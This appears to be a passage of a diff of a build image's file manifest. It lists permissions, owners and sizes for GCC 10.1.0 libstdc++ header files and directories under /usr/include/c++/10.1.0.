+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/bits
+-rw-r--r-- root root 24547 ./usr/include/c++/10.1.0/bits/algorithmfwd.h
+-rw-r--r-- root root 3293 ./usr/include/c++/10.1.0/bits/allocated_ptr.h
+-rw-r--r-- root root 8984 ./usr/include/c++/10.1.0/bits/allocator.h
+-rw-r--r-- root root 24105 ./usr/include/c++/10.1.0/bits/alloc_traits.h
+-rw-r--r-- root root 51344 ./usr/include/c++/10.1.0/bits/atomic_base.h
+-rw-r--r-- root root 9499 ./usr/include/c++/10.1.0/bits/atomic_futex.h
+-rw-r--r-- root root 2352 ./usr/include/c++/10.1.0/bits/atomic_lockfree_defines.h
+-rw-r--r-- root root 16074 ./usr/include/c++/10.1.0/bits/basic_ios.h
+-rw-r--r-- root root 6083 ./usr/include/c++/10.1.0/bits/basic_ios.tcc
+-rw-r--r-- root root 249154 ./usr/include/c++/10.1.0/bits/basic_string.h
+-rw-r--r-- root root 54513 ./usr/include/c++/10.1.0/bits/basic_string.tcc
+-rw-r--r-- root root 27182 ./usr/include/c++/10.1.0/bits/boost_concept_check.h
+-rw-r--r-- root root 1474 ./usr/include/c++/10.1.0/bits/c++0x_warning.h
+-rw-r--r-- root root 3435 ./usr/include/c++/10.1.0/bits/charconv.h
+-rw-r--r-- root root 28509 ./usr/include/c++/10.1.0/bits/char_traits.h
+-rw-r--r-- root root 25429 ./usr/include/c++/10.1.0/bits/codecvt.h
+-rw-r--r-- root root 3423 ./usr/include/c++/10.1.0/bits/concept_check.h
+-rw-r--r-- root root 12011 ./usr/include/c++/10.1.0/bits/cpp_type_traits.h
+-rw-r--r-- root root 1811 ./usr/include/c++/10.1.0/bits/cxxabi_forced.h
+-rw-r--r-- root root 2220 ./usr/include/c++/10.1.0/bits/cxxabi_init_exception.h
+-rw-r--r-- root root 37325 ./usr/include/c++/10.1.0/bits/deque.tcc
+-rw-r--r-- root root 12387 ./usr/include/c++/10.1.0/bits/enable_special_members.h
+-rw-r--r-- root root 2037 ./usr/include/c++/10.1.0/bits/erase_if.h
+-rw-r--r-- root root 45979 ./usr/include/c++/10.1.0/bitset
+-rw-r--r-- root root 1645 ./usr/include/c++/10.1.0/bits/exception_defines.h
+-rw-r--r-- root root 2483 ./usr/include/c++/10.1.0/bits/exception.h
+-rw-r--r-- root root 6072 ./usr/include/c++/10.1.0/bits/exception_ptr.h
+-rw-r--r-- root root 50386 ./usr/include/c++/10.1.0/bits/forward_list.h
+-rw-r--r-- root root 13871 ./usr/include/c++/10.1.0/bits/forward_list.tcc
+-rw-r--r-- root root 16405 ./usr/include/c++/10.1.0/bits/fs_dir.h
+-rw-r--r-- root root 10267 ./usr/include/c++/10.1.0/bits/fs_fwd.h
+-rw-r--r-- root root 9729 ./usr/include/c++/10.1.0/bits/fs_ops.h
+-rw-r--r-- root root 38775 ./usr/include/c++/10.1.0/bits/fs_path.h
+-rw-r--r-- root root 33663 ./usr/include/c++/10.1.0/bits/fstream.tcc
+-rw-r--r-- root root 3433 ./usr/include/c++/10.1.0/bits/functexcept.h
+-rw-r--r-- root root 8567 ./usr/include/c++/10.1.0/bits/functional_hash.h
+-rw-r--r-- root root 7851 ./usr/include/c++/10.1.0/bits/gslice_array.h
+-rw-r--r-- root root 5518 ./usr/include/c++/10.1.0/bits/gslice.h
+-rw-r--r-- root root 2146 ./usr/include/c++/10.1.0/bits/hash_bytes.h
+-rw-r--r-- root root 74752 ./usr/include/c++/10.1.0/bits/hashtable.h
+-rw-r--r-- root root 67673 ./usr/include/c++/10.1.0/bits/hashtable_policy.h
+-rw-r--r-- root root 7861 ./usr/include/c++/10.1.0/bits/indirect_array.h
+-rw-r--r-- root root 2877 ./usr/include/c++/10.1.0/bits/int_limits.h
+-rw-r--r-- root root 6025 ./usr/include/c++/10.1.0/bits/invoke.h
+-rw-r--r-- root root 31179 ./usr/include/c++/10.1.0/bits/ios_base.h
+-rw-r--r-- root root 31093 ./usr/include/c++/10.1.0/bits/istream.tcc
+-rw-r--r-- root root 30948 ./usr/include/c++/10.1.0/bits/iterator_concepts.h
+-rw-r--r-- root root 16968 ./usr/include/c++/10.1.0/bits/list.tcc
+-rw-r--r-- root root 24950 ./usr/include/c++/10.1.0/bits/locale_classes.h
+-rw-r--r-- root root 8375 ./usr/include/c++/10.1.0/bits/locale_classes.tcc
+-rw-r--r-- root root 18801 ./usr/include/c++/10.1.0/bits/locale_conv.h
+-rw-r--r-- root root 92321 ./usr/include/c++/10.1.0/bits/locale_facets.h
+-rw-r--r-- root root 68980 ./usr/include/c++/10.1.0/bits/locale_facets_nonio.h
+-rw-r--r-- root root 45280 ./usr/include/c++/10.1.0/bits/locale_facets_nonio.tcc
+-rw-r--r-- root root 39548 ./usr/include/c++/10.1.0/bits/locale_facets.tcc
+-rw-r--r-- root root 5941 ./usr/include/c++/10.1.0/bits/localefwd.h
+-rw-r--r-- root root 7675 ./usr/include/c++/10.1.0/bits/mask_array.h
+-rw-r--r-- root root 2487 ./usr/include/c++/10.1.0/bits/memoryfwd.h
+-rw-r--r-- root root 6613 ./usr/include/c++/10.1.0/bits/move.h
+-rw-r--r-- root root 4886 ./usr/include/c++/10.1.0/bits/nested_exception.h
+-rw-r--r-- root root 8216 ./usr/include/c++/10.1.0/bits/node_handle.h
+-rw-r--r-- root root 4002 ./usr/include/c++/10.1.0/bits/ostream_insert.h
+-rw-r--r-- root root 12315 ./usr/include/c++/10.1.0/bits/ostream.tcc
+-rw-r--r-- root root 7943 ./usr/include/c++/10.1.0/bits/parse_numbers.h
+-rw-r--r-- root root 8465 ./usr/include/c++/10.1.0/bits/postypes.h
+-rw-r--r-- root root 10153 ./usr/include/c++/10.1.0/bits/predefined_ops.h
+-rw-r--r-- root root 6728 ./usr/include/c++/10.1.0/bits/ptr_traits.h
+-rw-r--r-- root root 5053 ./usr/include/c++/10.1.0/bits/quoted_string.h
+-rw-r--r-- root root 178118 ./usr/include/c++/10.1.0/bits/random.h
+-rw-r--r-- root root 103405 ./usr/include/c++/10.1.0/bits/random.tcc
+-rw-r--r-- root root 32001 ./usr/include/c++/10.1.0/bits/range_access.h
+-rw-r--r-- root root 6516 ./usr/include/c++/10.1.0/bits/range_cmp.h
+-rw-r--r-- root root 18319 ./usr/include/c++/10.1.0/bits/ranges_algobase.h
+-rw-r--r-- root root 121079 ./usr/include/c++/10.1.0/bits/ranges_algo.h
+-rw-r--r-- root root 18023 ./usr/include/c++/10.1.0/bits/ranges_uninitialized.h
+-rw-r--r-- root root 13207 ./usr/include/c++/10.1.0/bits/refwrap.h
+-rw-r--r-- root root 10738 ./usr/include/c++/10.1.0/bits/regex_automaton.h
+-rw-r--r-- root root 7722 ./usr/include/c++/10.1.0/bits/regex_automaton.tcc
+-rw-r--r-- root root 16481 ./usr/include/c++/10.1.0/bits/regex_compiler.h
+-rw-r--r-- root root 18929 ./usr/include/c++/10.1.0/bits/regex_compiler.tcc
+-rw-r--r-- root root 14729 ./usr/include/c++/10.1.0/bits/regex_constants.h
+-rw-r--r-- root root 4904 ./usr/include/c++/10.1.0/bits/regex_error.h
+-rw-r--r-- root root 7488 ./usr/include/c++/10.1.0/bits/regex_executor.h
+-rw-r--r-- root root 18841 ./usr/include/c++/10.1.0/bits/regex_executor.tcc
+-rw-r--r-- root root 102775 ./usr/include/c++/10.1.0/bits/regex.h
+-rw-r--r-- root root 7088 ./usr/include/c++/10.1.0/bits/regex_scanner.h
+-rw-r--r-- root root 15009 ./usr/include/c++/10.1.0/bits/regex_scanner.tcc
+-rw-r--r-- root root 16524 ./usr/include/c++/10.1.0/bits/regex.tcc
+-rw-r--r-- root root 9867 ./usr/include/c++/10.1.0/bits/shared_ptr_atomic.h
+-rw-r--r-- root root 55312 ./usr/include/c++/10.1.0/bits/shared_ptr_base.h
+-rw-r--r-- root root 30837 ./usr/include/c++/10.1.0/bits/shared_ptr.h
+-rw-r--r-- root root 9578 ./usr/include/c++/10.1.0/bits/slice_array.h
+-rw-r--r-- root root 47238 ./usr/include/c++/10.1.0/bits/specfun.h
+-rw-r--r-- root root 10142 ./usr/include/c++/10.1.0/bits/sstream.tcc
+-rw-r--r-- root root 3360 ./usr/include/c++/10.1.0/bits/std_abs.h
+-rw-r--r-- root root 21612 ./usr/include/c++/10.1.0/bits/std_function.h
+-rw-r--r-- root root 4767 ./usr/include/c++/10.1.0/bits/std_mutex.h
+-rw-r--r-- root root 71744 ./usr/include/c++/10.1.0/bits/stl_algobase.h
+-rw-r--r-- root root 214835 ./usr/include/c++/10.1.0/bits/stl_algo.h
+-rw-r--r-- root root 34767 ./usr/include/c++/10.1.0/bits/stl_bvector.h
+-rw-r--r-- root root 8521 ./usr/include/c++/10.1.0/bits/stl_construct.h
+-rw-r--r-- root root 76807 ./usr/include/c++/10.1.0/bits/stl_deque.h
+-rw-r--r-- root root 42293 ./usr/include/c++/10.1.0/bits/stl_function.h
+-rw-r--r-- root root 20756 ./usr/include/c++/10.1.0/bits/stl_heap.h
+-rw-r--r-- root root 8178 ./usr/include/c++/10.1.0/bits/stl_iterator_base_funcs.h
+-rw-r--r-- root root 9660 ./usr/include/c++/10.1.0/bits/stl_iterator_base_types.h
+-rw-r--r-- root root 69682 ./usr/include/c++/10.1.0/bits/stl_iterator.h
+-rw-r--r-- root root 68748 ./usr/include/c++/10.1.0/bits/stl_list.h
+-rw-r--r-- root root 54669 ./usr/include/c++/10.1.0/bits/stl_map.h
+-rw-r--r-- root root 43510 ./usr/include/c++/10.1.0/bits/stl_multimap.h
+-rw-r--r-- root root 37662 ./usr/include/c++/10.1.0/bits/stl_multiset.h
+-rw-r--r-- root root 14600 ./usr/include/c++/10.1.0/bits/stl_numeric.h
+-rw-r--r-- root root 20163 ./usr/include/c++/10.1.0/bits/stl_pair.h
+-rw-r--r-- root root 25036 ./usr/include/c++/10.1.0/bits/stl_queue.h
+-rw-r--r-- root root 3830 ./usr/include/c++/10.1.0/bits/stl_raw_storage_iter.h
+-rw-r--r-- root root 4594 ./usr/include/c++/10.1.0/bits/stl_relops.h
+-rw-r--r-- root root 37922 ./usr/include/c++/10.1.0/bits/stl_set.h
+-rw-r--r-- root root 12684 ./usr/include/c++/10.1.0/bits/stl_stack.h
+-rw-r--r-- root root 8623 ./usr/include/c++/10.1.0/bits/stl_tempbuf.h
+-rw-r--r-- root root 74660 ./usr/include/c++/10.1.0/bits/stl_tree.h
+-rw-r--r-- root root 33161 ./usr/include/c++/10.1.0/bits/stl_uninitialized.h
+-rw-r--r-- root root 65919 ./usr/include/c++/10.1.0/bits/stl_vector.h
+-rw-r--r-- root root 15462 ./usr/include/c++/10.1.0/bits/streambuf_iterator.h
+-rw-r--r-- root root 4929 ./usr/include/c++/10.1.0/bits/streambuf.tcc
+-rw-r--r-- root root 7694 ./usr/include/c++/10.1.0/bits/stream_iterator.h
+-rw-r--r-- root root 2690 ./usr/include/c++/10.1.0/bits/stringfwd.h
+-rw-r--r-- root root 6698 ./usr/include/c++/10.1.0/bits/string_view.tcc
+-rw-r--r-- root root 10730 ./usr/include/c++/10.1.0/bits/uniform_int_dist.h
+-rw-r--r-- root root 6090 ./usr/include/c++/10.1.0/bits/unique_lock.h
+-rw-r--r-- root root 31291 ./usr/include/c++/10.1.0/bits/unique_ptr.h
+-rw-r--r-- root root 76744 ./usr/include/c++/10.1.0/bits/unordered_map.h
+-rw-r--r-- root root 60612 ./usr/include/c++/10.1.0/bits/unordered_set.h
+-rw-r--r-- root root 6870 ./usr/include/c++/10.1.0/bits/uses_allocator.h
+-rw-r--r-- root root 22839 ./usr/include/c++/10.1.0/bits/valarray_after.h
+-rw-r--r-- root root 21295 ./usr/include/c++/10.1.0/bits/valarray_array.h
+-rw-r--r-- root root 7254 ./usr/include/c++/10.1.0/bits/valarray_array.tcc
+-rw-r--r-- root root 19142 ./usr/include/c++/10.1.0/bits/valarray_before.h
+-rw-r--r-- root root 30870 ./usr/include/c++/10.1.0/bits/vector.tcc
+-rw-r--r-- root root 1648 ./usr/include/c++/10.1.0/cassert
+-rw-r--r-- root root 1335 ./usr/include/c++/10.1.0/ccomplex
+-rw-r--r-- root root 2409 ./usr/include/c++/10.1.0/cctype
+-rw-r--r-- root root 1770 ./usr/include/c++/10.1.0/cerrno
+-rw-r--r-- root root 2051 ./usr/include/c++/10.1.0/cfenv
+-rw-r--r-- root root 1889 ./usr/include/c++/10.1.0/cfloat
+-rw-r--r-- root root 17991 ./usr/include/c++/10.1.0/charconv
+-rw-r--r-- root root 38834 ./usr/include/c++/10.1.0/chrono
+-rw-r--r-- root root 2157 ./usr/include/c++/10.1.0/cinttypes
+-rw-r--r-- root root 1464 ./usr/include/c++/10.1.0/ciso646
+-rw-r--r-- root root 1913 ./usr/include/c++/10.1.0/climits
+-rw-r--r-- root root 1905 ./usr/include/c++/10.1.0/clocale
+-rw-r--r-- root root 49130 ./usr/include/c++/10.1.0/cmath
+-rw-r--r-- root root 5275 ./usr/include/c++/10.1.0/codecvt
+-rw-r--r-- root root 27896 ./usr/include/c++/10.1.0/compare
+-rw-r--r-- root root 56646 ./usr/include/c++/10.1.0/complex
+-rw-r--r-- root root 1596 ./usr/include/c++/10.1.0/complex.h
+-rw-r--r-- root root 12267 ./usr/include/c++/10.1.0/concepts
+-rw-r--r-- root root 12993 ./usr/include/c++/10.1.0/condition_variable
+-rw-r--r-- root root 7898 ./usr/include/c++/10.1.0/coroutine
+-rw-r--r-- root root 1949 ./usr/include/c++/10.1.0/csetjmp
+-rw-r--r-- root root 1855 ./usr/include/c++/10.1.0/csignal
+-rw-r--r-- root root 1407 ./usr/include/c++/10.1.0/cstdalign
+-rw-r--r-- root root 1868 ./usr/include/c++/10.1.0/cstdarg
+-rw-r--r-- root root 1401 ./usr/include/c++/10.1.0/cstdbool
+-rw-r--r-- root root 6274 ./usr/include/c++/10.1.0/cstddef
+-rw-r--r-- root root 2335 ./usr/include/c++/10.1.0/cstdint
+-rw-r--r-- root root 4439 ./usr/include/c++/10.1.0/cstdio
+-rw-r--r-- root root 6325 ./usr/include/c++/10.1.0/cstdlib
+-rw-r--r-- root root 3156 ./usr/include/c++/10.1.0/cstring
+-rw-r--r-- root root 1360 ./usr/include/c++/10.1.0/ctgmath
+-rw-r--r-- root root 2298 ./usr/include/c++/10.1.0/ctime
+-rw-r--r-- root root 2210 ./usr/include/c++/10.1.0/cuchar
+-rw-r--r-- root root 6542 ./usr/include/c++/10.1.0/cwchar
+-rw-r--r-- root root 2793 ./usr/include/c++/10.1.0/cwctype
+-rw-r--r-- root root 22011 ./usr/include/c++/10.1.0/cxxabi.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/debug
+-rw-r--r-- root root 12476 ./usr/include/c++/10.1.0/debug/array
+-rw-r--r-- root root 2411 ./usr/include/c++/10.1.0/debug/assertions.h
+-rw-r--r-- root root 11903 ./usr/include/c++/10.1.0/debug/bitset
+-rw-r--r-- root root 5881 ./usr/include/c++/10.1.0/debug/debug.h
+-rw-r--r-- root root 17979 ./usr/include/c++/10.1.0/debug/deque
+-rw-r--r-- root root 16991 ./usr/include/c++/10.1.0/debug/formatter.h
+-rw-r--r-- root root 27420 ./usr/include/c++/10.1.0/debug/forward_list
+-rw-r--r-- root root 15612 ./usr/include/c++/10.1.0/debug/functions.h
+-rw-r--r-- root root 9985 ./usr/include/c++/10.1.0/debug/helper_functions.h
+-rw-r--r-- root root 25327 ./usr/include/c++/10.1.0/debug/list
+-rw-r--r-- root root 20915 ./usr/include/c++/10.1.0/debug/macros.h
+-rw-r--r-- root root 1656 ./usr/include/c++/10.1.0/debug/map
+-rw-r--r-- root root 23035 ./usr/include/c++/10.1.0/debug/map.h
+-rw-r--r-- root root 20301 ./usr/include/c++/10.1.0/debug/multimap.h
+-rw-r--r-- root root 19200 ./usr/include/c++/10.1.0/debug/multiset.h
+-rw-r--r-- root root 9279 ./usr/include/c++/10.1.0/debug/safe_base.h
+-rw-r--r-- root root 3413 ./usr/include/c++/10.1.0/debug/safe_container.h
+-rw-r--r-- root root 30112 ./usr/include/c++/10.1.0/debug/safe_iterator.h
+-rw-r--r-- root root 16171 ./usr/include/c++/10.1.0/debug/safe_iterator.tcc
+-rw-r--r-- root root 13739 ./usr/include/c++/10.1.0/debug/safe_local_iterator.h
+-rw-r--r-- root root 2905 ./usr/include/c++/10.1.0/debug/safe_local_iterator.tcc
+-rw-r--r-- root root 5096 ./usr/include/c++/10.1.0/debug/safe_sequence.h
+-rw-r--r-- root root 5040 ./usr/include/c++/10.1.0/debug/safe_sequence.tcc
+-rw-r--r-- root root 6895 ./usr/include/c++/10.1.0/debug/safe_unordered_base.h
+-rw-r--r-- root root 3866 ./usr/include/c++/10.1.0/debug/safe_unordered_container.h
+-rw-r--r-- root root 3263 ./usr/include/c++/10.1.0/debug/safe_unordered_container.tcc
+-rw-r--r-- root root 1620 ./usr/include/c++/10.1.0/debug/set
+-rw-r--r-- root root 19199 ./usr/include/c++/10.1.0/debug/set.h
+-rw-r--r-- root root 4542 ./usr/include/c++/10.1.0/debug/stl_iterator.h
+-rw-r--r-- root root 36471 ./usr/include/c++/10.1.0/debug/string
+-rw-r--r-- root root 41394 ./usr/include/c++/10.1.0/debug/unordered_map
+-rw-r--r-- root root 35429 ./usr/include/c++/10.1.0/debug/unordered_set
+-rw-r--r-- root root 23523 ./usr/include/c++/10.1.0/debug/vector
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/decimal
+-rw-r--r-- root root 17636 ./usr/include/c++/10.1.0/decimal/decimal
+-rw-r--r-- root root 16999 ./usr/include/c++/10.1.0/decimal/decimal.h
+-rw-r--r-- root root 3973 ./usr/include/c++/10.1.0/deque
+-rw-r--r-- root root 4848 ./usr/include/c++/10.1.0/exception
+-rw-r--r-- root root 1803 ./usr/include/c++/10.1.0/execution
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/experimental
+-rw-r--r-- root root 3688 ./usr/include/c++/10.1.0/experimental/algorithm
+-rw-r--r-- root root 16010 ./usr/include/c++/10.1.0/experimental/any
+-rw-r--r-- root root 3371 ./usr/include/c++/10.1.0/experimental/array
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/experimental/bits
+-rw-r--r-- root root 10799 ./usr/include/c++/10.1.0/experimental/bits/fs_dir.h
+-rw-r--r-- root root 8524 ./usr/include/c++/10.1.0/experimental/bits/fs_fwd.h
+-rw-r--r-- root root 9340 ./usr/include/c++/10.1.0/experimental/bits/fs_ops.h
+-rw-r--r-- root root 36768 ./usr/include/c++/10.1.0/experimental/bits/fs_path.h
+-rw-r--r-- root root 2227 ./usr/include/c++/10.1.0/experimental/bits/lfts_config.h
+-rw-r--r-- root root 4814 ./usr/include/c++/10.1.0/experimental/bits/net.h
+-rw-r--r-- root root 20205 ./usr/include/c++/10.1.0/experimental/bits/shared_ptr.h
+-rw-r--r-- root root 6816 ./usr/include/c++/10.1.0/experimental/bits/string_view.tcc
+-rw-r--r-- root root 28719 ./usr/include/c++/10.1.0/experimental/buffer
+-rw-r--r-- root root 1960 ./usr/include/c++/10.1.0/experimental/chrono
+-rw-r--r-- root root 2296 ./usr/include/c++/10.1.0/experimental/deque
+-rw-r--r-- root root 55081 ./usr/include/c++/10.1.0/experimental/executor
+-rw-r--r-- root root 1589 ./usr/include/c++/10.1.0/experimental/filesystem
+-rw-r--r-- root root 2367 ./usr/include/c++/10.1.0/experimental/forward_list
+-rw-r--r-- root root 12311 ./usr/include/c++/10.1.0/experimental/functional
+-rw-r--r-- root root 65288 ./usr/include/c++/10.1.0/experimental/internet
+-rw-r--r-- root root 21331 ./usr/include/c++/10.1.0/experimental/io_context
+-rw-r--r-- root root 3534 ./usr/include/c++/10.1.0/experimental/iterator
+-rw-r--r-- root root 2265 ./usr/include/c++/10.1.0/experimental/list
+-rw-r--r-- root root 2594 ./usr/include/c++/10.1.0/experimental/map
+-rw-r--r-- root root 6056 ./usr/include/c++/10.1.0/experimental/memory
+-rw-r--r-- root root 17388 ./usr/include/c++/10.1.0/experimental/memory_resource
+-rw-r--r-- root root 1542 ./usr/include/c++/10.1.0/experimental/net
+-rw-r--r-- root root 3744 ./usr/include/c++/10.1.0/experimental/netfwd
+-rw-r--r-- root root 2858 ./usr/include/c++/10.1.0/experimental/numeric
+-rw-r--r-- root root 26832 ./usr/include/c++/10.1.0/experimental/optional
+-rw-r--r-- root root 15335 ./usr/include/c++/10.1.0/experimental/propagate_const
+-rw-r--r-- root root 2499 ./usr/include/c++/10.1.0/experimental/random
+-rw-r--r-- root root 2438 ./usr/include/c++/10.1.0/experimental/ratio
+-rw-r--r-- root root 2121 ./usr/include/c++/10.1.0/experimental/regex
+-rw-r--r-- root root 2471 ./usr/include/c++/10.1.0/experimental/set
+-rw-r--r-- root root 76228 ./usr/include/c++/10.1.0/experimental/socket
+-rw-r--r-- root root 2699 ./usr/include/c++/10.1.0/experimental/source_location
+-rw-r--r-- root root 2920 ./usr/include/c++/10.1.0/experimental/string
+-rw-r--r-- root root 22662 ./usr/include/c++/10.1.0/experimental/string_view
+-rw-r--r-- root root 2045 ./usr/include/c++/10.1.0/experimental/system_error
+-rw-r--r-- root root 5794 ./usr/include/c++/10.1.0/experimental/timer
+-rw-r--r-- root root 2472 ./usr/include/c++/10.1.0/experimental/tuple
+-rw-r--r-- root root 11221 ./usr/include/c++/10.1.0/experimental/type_traits
+-rw-r--r-- root root 2845 ./usr/include/c++/10.1.0/experimental/unordered_map
+-rw-r--r-- root root 2728 ./usr/include/c++/10.1.0/experimental/unordered_set
+-rw-r--r-- root root 1657 ./usr/include/c++/10.1.0/experimental/utility
+-rw-r--r-- root root 2355 ./usr/include/c++/10.1.0/experimental/vector
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext
+-rw-r--r-- root root 19255 ./usr/include/c++/10.1.0/ext/algorithm
+-rw-r--r-- root root 3972 ./usr/include/c++/10.1.0/ext/aligned_buffer.h
+-rw-r--r-- root root 6139 ./usr/include/c++/10.1.0/ext/alloc_traits.h
+-rw-r--r-- root root 3477 ./usr/include/c++/10.1.0/ext/atomicity.h
+-rw-r--r-- root root 32193 ./usr/include/c++/10.1.0/ext/bitmap_allocator.h
+-rw-r--r-- root root 4447 ./usr/include/c++/10.1.0/ext/cast.h
+-rw-r--r-- root root 6570 ./usr/include/c++/10.1.0/ext/cmath
+-rw-r--r-- root root 16353 ./usr/include/c++/10.1.0/ext/codecvt_specializations.h
+-rw-r--r-- root root 7542 ./usr/include/c++/10.1.0/ext/concurrence.h
+-rw-r--r-- root root 5881 ./usr/include/c++/10.1.0/ext/debug_allocator.h
+-rw-r--r-- root root 2247 ./usr/include/c++/10.1.0/ext/enc_filebuf.h
+-rw-r--r-- root root 6277 ./usr/include/c++/10.1.0/ext/extptr_allocator.h
+-rw-r--r-- root root 14172 ./usr/include/c++/10.1.0/ext/functional
+-rw-r--r-- root root 17822 ./usr/include/c++/10.1.0/ext/hash_map
+-rw-r--r-- root root 17323 ./usr/include/c++/10.1.0/ext/hash_set
+-rw-r--r-- root root 4031 ./usr/include/c++/10.1.0/ext/iterator
+-rw-r--r-- root root 5696 ./usr/include/c++/10.1.0/ext/malloc_allocator.h
+-rw-r--r-- root root 7173 ./usr/include/c++/10.1.0/ext/memory
+-rw-r--r-- root root 23628 ./usr/include/c++/10.1.0/ext/mt_allocator.h
+-rw-r--r-- root root 5587 ./usr/include/c++/10.1.0/ext/new_allocator.h
+-rw-r--r-- root root 4739 ./usr/include/c++/10.1.0/ext/numeric
+-rw-r--r-- root root 4570 ./usr/include/c++/10.1.0/ext/numeric_traits.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds
+-rw-r--r-- root root 30110 ./usr/include/c++/10.1.0/ext/pb_ds/assoc_container.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_
+-rw-r--r-- root root 9027 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/binary_heap_.hpp
+-rw-r--r-- root root 4338 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/const_iterator.hpp
+-rw-r--r-- root root 4222 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2574 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 2802 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/entry_cmp.hpp
+-rw-r--r-- root root 2767 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/entry_pred.hpp
+-rw-r--r-- root root 5537 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 2630 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/find_fn_imps.hpp
+-rw-r--r-- root root 2114 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/info_fn_imps.hpp
+-rw-r--r-- root root 5011 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 2303 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/iterators_fn_imps.hpp
+-rw-r--r-- root root 4363 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/point_const_iterator.hpp
+-rw-r--r-- root root 1935 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 6133 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/resize_policy.hpp
+-rw-r--r-- root root 4956 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/split_join_fn_imps.hpp
+-rw-r--r-- root root 2480 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binary_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_
+-rw-r--r-- root root 6185 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/binomial_heap_base_.hpp
+-rw-r--r-- root root 2721 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3501 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/debug_fn_imps.hpp
+-rw-r--r-- root root 4515 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/erase_fn_imps.hpp
+-rw-r--r-- root root 2378 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/find_fn_imps.hpp
+-rw-r--r-- root root 5304 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/insert_fn_imps.hpp
+-rw-r--r-- root root 5398 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_base_/split_join_fn_imps.hpp
+-rw-r--r-- root root 3922 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_/binomial_heap_.hpp
+-rw-r--r-- root root 2184 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 1930 ./usr/include/c++/10.1.0/ext/pb_ds/detail/binomial_heap_/debug_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_
+-rw-r--r-- root root 12468 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/bin_search_tree_.hpp
+-rw-r--r-- root root 5539 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 8104 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/debug_fn_imps.hpp
+-rw-r--r-- root root 2952 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/erase_fn_imps.hpp
+-rw-r--r-- root root 4712 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/find_fn_imps.hpp
+-rw-r--r-- root root 2132 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/info_fn_imps.hpp
+-rw-r--r-- root root 5514 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/insert_fn_imps.hpp
+-rw-r--r-- root root 3548 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/iterators_fn_imps.hpp
+-rw-r--r-- root root 5921 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/node_iterators.hpp
+-rw-r--r-- root root 8961 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/point_iterators.hpp
+-rw-r--r-- root root 1938 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 2942 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/r_erase_fn_imps.hpp
+-rw-r--r-- root root 4223 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/rotate_fn_imps.hpp
+-rw-r--r-- root root 4040 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/split_join_fn_imps.hpp
+-rw-r--r-- root root 6374 ./usr/include/c++/10.1.0/ext/pb_ds/detail/bin_search_tree_/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/branch_policy
